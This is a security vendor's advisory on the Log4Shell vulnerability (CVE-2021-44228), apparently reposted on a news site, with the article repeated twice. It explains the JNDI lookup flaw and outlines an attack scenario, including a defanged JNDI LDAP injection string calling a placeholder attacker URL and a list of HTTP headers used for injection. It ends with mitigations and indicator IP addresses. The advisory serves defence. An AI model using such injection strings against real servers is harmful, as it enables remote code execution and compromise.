Critical Zero-Day “Log4Shell” Vulnerability “CVE-2021-44228” Exploited in the Wild

On December 9, 2021, Apache revealed a severe Remote code execution vulnerability CVE-2021-44228 named “Log4Shell” in Apache Java-based log4J logging utility. Threat actors used the utility to execute arbitrary code and take complete control of systems.

Apache Log4j is an open-source Java-based utility widely used by cloud and enterprise software services for logging. Being used in many applications on various operating systems (like Windows, Linux, MAC, etc.) impacts all versions from 2.0-beta9 to 2.14.1. Threat actors have widely exploited Log4J to scan the internet-facing servers to identify vulnerable servers.

It is a high-profile security vulnerability with a severity score of 10, the max severity rating possible, and one of the most critical vulnerabilities ever due to its ease of exploitation and the number of affected enterprise applications and cloud services.

What is Log4Shell Vulnerability?

The Java Naming and Directory Interface (JNDI) used by Log4j to lookup supported services and protocols such as LDAP, DNS, RMI, NIS, NDS, CORBA, and IIOP allows for helpful information to be remotely retrieved. On a vulnerable Log4J system, the attacker who can control log messages or parameters can execute arbitrary code loaded from LDAP or supported services while message lookup substitution is enabled.

An unauthenticated, remote attacker could exploit it by sending a specially crafted JNDI injection in the simple HTTP request to a vulnerable log4j serve. Once the request is processed, log4j loads the JNDI resources from the server (ie, LDAP) controlled by attackers that loaded payload could be malicious & include shell script or Java class file to the targeted system. Successful exploitation could lead to arbitrary code execution, and the attacker can take complete control of the compromised system.

The vulnerability was discovered on 24th Nov-21, first exploitation was observed on 1st Dec-21. After the initial fix patch, further other vulnerabilities, CVE-2021-45046 (remote code execution) & CVE-2021-45105 (denial-of-service) identified; are fixed in subsequent versions.

Log4Shell Exploit Explanation

In the standard scenarioHTTP requests would be logged by the log4j utility at the server for debugging or another purpose whenever log analysis is required.

In an attack scenariothe Log4Shell could be exploited by an unauthenticated, remote attacker with JNDI payload in a simple HTTP request on a server with vulnerable log4j.

JDNI lookup would look like as below, where JNDI will try to fetch the payload from attackers-URL that would compromise the targeted server.

Attack scenario

  1. Attacker sends crafted HTTP request with jndi LDAP string “$ jndi[:]ldap[:]// attackers-url> / ”in user agent header to target server.
  2. Targeting the server with vulnerable log4j logs and processing the JNDI LDAP string results in an LDAP query to the attacker’s malicious LDAP server.
  3. Attacker’s LDAP server response with directory information with a malicious payload like java class or shellcode location.
  4. Malicious payload like java class file or shellcode download is requested and further executed at the targeted system, which may lead to arbitrary code execution & full compromise of the victim system.

Attackers use various techniques in JNDI supported payloads like below using other protocols, encoding, obfuscation etc., to bypass the common detections by network security products.

Network traffic examples

  1. In the below snapshot, the HTTP Get request contains a URL encoded JNDI LDAP with a base64 encoded payload.

2. In the User-Agent HTTP header, a simple JNDI LDAP string connects to a malicious URL.

3. Here X-API-Version header contains obfuscation (bypass techniques) jndi Ldap string with base64 encoded payload

The crafted JNDI string can be sent via URL or some of many HTTP headers listed below:

  • User-Agent
  • Authorization
  • Cookie
  • Accept-Language
  • From
  • X-API Version
  • X-Host
  • Refer

Mitigations:

  • Immediately update to the latest Apache Log4j version.
  • Please refer to the Advisories
  • Update the Network security and endpoints with the latest definitions.

How does Quick Heal protect its customers?

Quick Heal has released Network & End Points rules to identify and block remote attacks exploiting the Log4Shell vulnerability. Also, a detailed Advisory had been shared along with mitigation updates to customers. Below is the Log4Shell detection snapshot in our product.

We are continuing to monitor the developments around this threat. We advise all our customers to patch their systems properly and keep the AV software updated with the latest VDB updates.

Indicator of Compromise (IoCs)

IPs

  • 111[.]28[.]189[.]51
  • 5[.]157[.]38[.]50
  • 175[.]6[.]210[.]66
  • 185[.]128[.]41[.]50
  • 195[.]54[.]160[.]149
  • 221[.]226[.]159[.]22
  • 185[.]220[.]100[.]244
  • 5[.]183[.]209[.]217
  • 171[.]25[.]193[.]25
  • 81[.]17[.]18[.]58
  • 46[.]232[.]251[.]191
  • 104[.]244[.]72[.]115
  • 109[.]70[.]100[.]34
  • 185[.]38[.]175[.]132
  • 185[.]170[.]114[.]25
  • 45[.]153[.]160[.]129
  • 89[.]234[.]157[.]254
  • 5[.]2[.]72[.]124
  • 192[.]42[.]116[.]16

Network Indicators

Subject Matter Expert

Amruta Wagh

Shiv Mohan

Amruta Wagh

Source

On December 9, 2021, Apache revealed a severe Remote code execution vulnerability CVE-2021-44228 named “Log4Shell” in Apache Java-based log4J logging utility. Threat actors used the utility to execute arbitrary code and take complete control of systems.

Apache Log4j is an open-source Java-based utility widely used by cloud and enterprise software services for logging. Being used in many applications on various operating systems (like Windows, Linux, MAC, etc.) impacts all versions from 2.0-beta9 to 2.14.1. Threat actors have widely exploited Log4J to scan the internet-facing servers to identify vulnerable servers.

It is a high-profile security vulnerability with a severity score of 10, the max severity rating possible, and one of the most critical vulnerabilities ever due to its ease of exploitation and the number of affected enterprise applications and cloud services.

What is Log4Shell Vulnerability?

The Java Naming and Directory Interface (JNDI) used by Log4j to lookup supported services and protocols such as LDAP, DNS, RMI, NIS, NDS, CORBA, and IIOP allows for helpful information to be remotely retrieved. On a vulnerable Log4J system, the attacker who can control log messages or parameters can execute arbitrary code loaded from LDAP or supported services while message lookup substitution is enabled.

An unauthenticated, remote attacker could exploit it by sending a specially crafted JNDI injection in the simple HTTP request to a vulnerable log4j serve. Once the request is processed, log4j loads the JNDI resources from the server (ie, LDAP) controlled by attackers that loaded payload could be malicious & include shell script or Java class file to the targeted system. Successful exploitation could lead to arbitrary code execution, and the attacker can take complete control of the compromised system.

The vulnerability was discovered on 24th Nov-21, first exploitation was observed on 1st Dec-21. After the initial fix patch, further other vulnerabilities, CVE-2021-45046 (remote code execution) & CVE-2021-45105 (denial-of-service) identified; are fixed in subsequent versions.

Log4Shell Exploit Explanation

In the standard scenarioHTTP requests would be logged by the log4j utility at the server for debugging or another purpose whenever log analysis is required.

In an attack scenariothe Log4Shell could be exploited by an unauthenticated, remote attacker with JNDI payload in a simple HTTP request on a server with vulnerable log4j.

JDNI lookup would look like as below, where JNDI will try to fetch the payload from attackers-URL that would compromise the targeted server.

Attack scenario

  1. Attacker sends crafted HTTP request with jndi LDAP string “$ jndi[:]ldap[:]// attackers-url> / ”in user agent header to target server.
  2. Targeting the server with vulnerable log4j logs and processing the JNDI LDAP string results in an LDAP query to the attacker’s malicious LDAP server.
  3. Attacker’s LDAP server response with directory information with a malicious payload like java class or shellcode location.
  4. Malicious payload like java class file or shellcode download is requested and further executed at the targeted system, which may lead to arbitrary code execution & full compromise of the victim system.

Attackers use various techniques in JNDI supported payloads like below using other protocols, encoding, obfuscation etc., to bypass the common detections by network security products.

Network traffic examples

  1. In the below snapshot, the HTTP Get request contains a URL encoded JNDI LDAP with a base64 encoded payload.

2. In the User-Agent HTTP header, a simple JNDI LDAP string connects to a malicious URL.

3. Here X-API-Version header contains obfuscation (bypass techniques) jndi Ldap string with base64 encoded payload

The crafted JNDI string can be sent via URL or some of many HTTP headers listed below:

  • User-Agent
  • Authorization
  • Cookie
  • Accept-Language
  • From
  • X-API Version
  • X-Host
  • Refer

Mitigations:

  • Immediately update to the latest Apache Log4j version.
  • Please refer to the Advisories
  • Update the Network security and endpoints with the latest definitions.

How does Quick Heal protect its customers?

Quick Heal has released Network & End Points rules to identify and block remote attacks exploiting the Log4Shell vulnerability. Also, a detailed Advisory had been shared along with mitigation updates to customers. Below is the Log4Shell detection snapshot in our product.

We are continuing to monitor the developments around this threat. We advise all our customers to patch their systems properly and keep the AV software updated with the latest VDB updates.

Indicator of Compromise (IoCs)

IPs

  • 111[.]28[.]189[.]51
  • 5[.]157[.]38[.]50
  • 175[.]6[.]210[.]66
  • 185[.]128[.]41[.]50
  • 195[.]54[.]160[.]149
  • 221[.]226[.]159[.]22
  • 185[.]220[.]100[.]244
  • 5[.]183[.]209[.]217
  • 171[.]25[.]193[.]25
  • 81[.]17[.]18[.]58
  • 46[.]232[.]251[.]191
  • 104[.]244[.]72[.]115
  • 109[.]70[.]100[.]34
  • 185[.]38[.]175[.]132
  • 185[.]170[.]114[.]25
  • 45[.]153[.]160[.]129
  • 89[.]234[.]157[.]254
  • 5[.]2[.]72[.]124
  • 192[.]42[.]116[.]16

Network Indicators

Subject Matter Expert

Amruta Wagh

Shiv Mohan

Amruta Wagh

Source

More from author

LEAVE A REPLY

Please enter your comment!
Please enter your name here

Related posts

Advertismentspot_img

Latest posts

Apple patches zero-day kernel hole and much more – update now! – Naked Security

Apple's latest security updates have arrived. All still-supported flavors of macOS (Monterey, Big Sur and Catalina), as well as all current mobile devices (iPhones, iPads,...

Half of global CISOs feel their organization is unprepared to deal with cyberattacks

Human error is considered by IT executives to be the biggest vulnerability for organizations...

What IT leaders from BlackBerry, CN and Microsoft Canada and more predict for the future of InfoSec

In his decades-long career in cybersecurity and threat detection, John McClurg has engaged in the "perpetual dance" with adversaries large and small. "As the years...

Want to stay up to date with the latest news?

We would love to hear from you! Please fill in your details and we will stay in touch. It's that simple!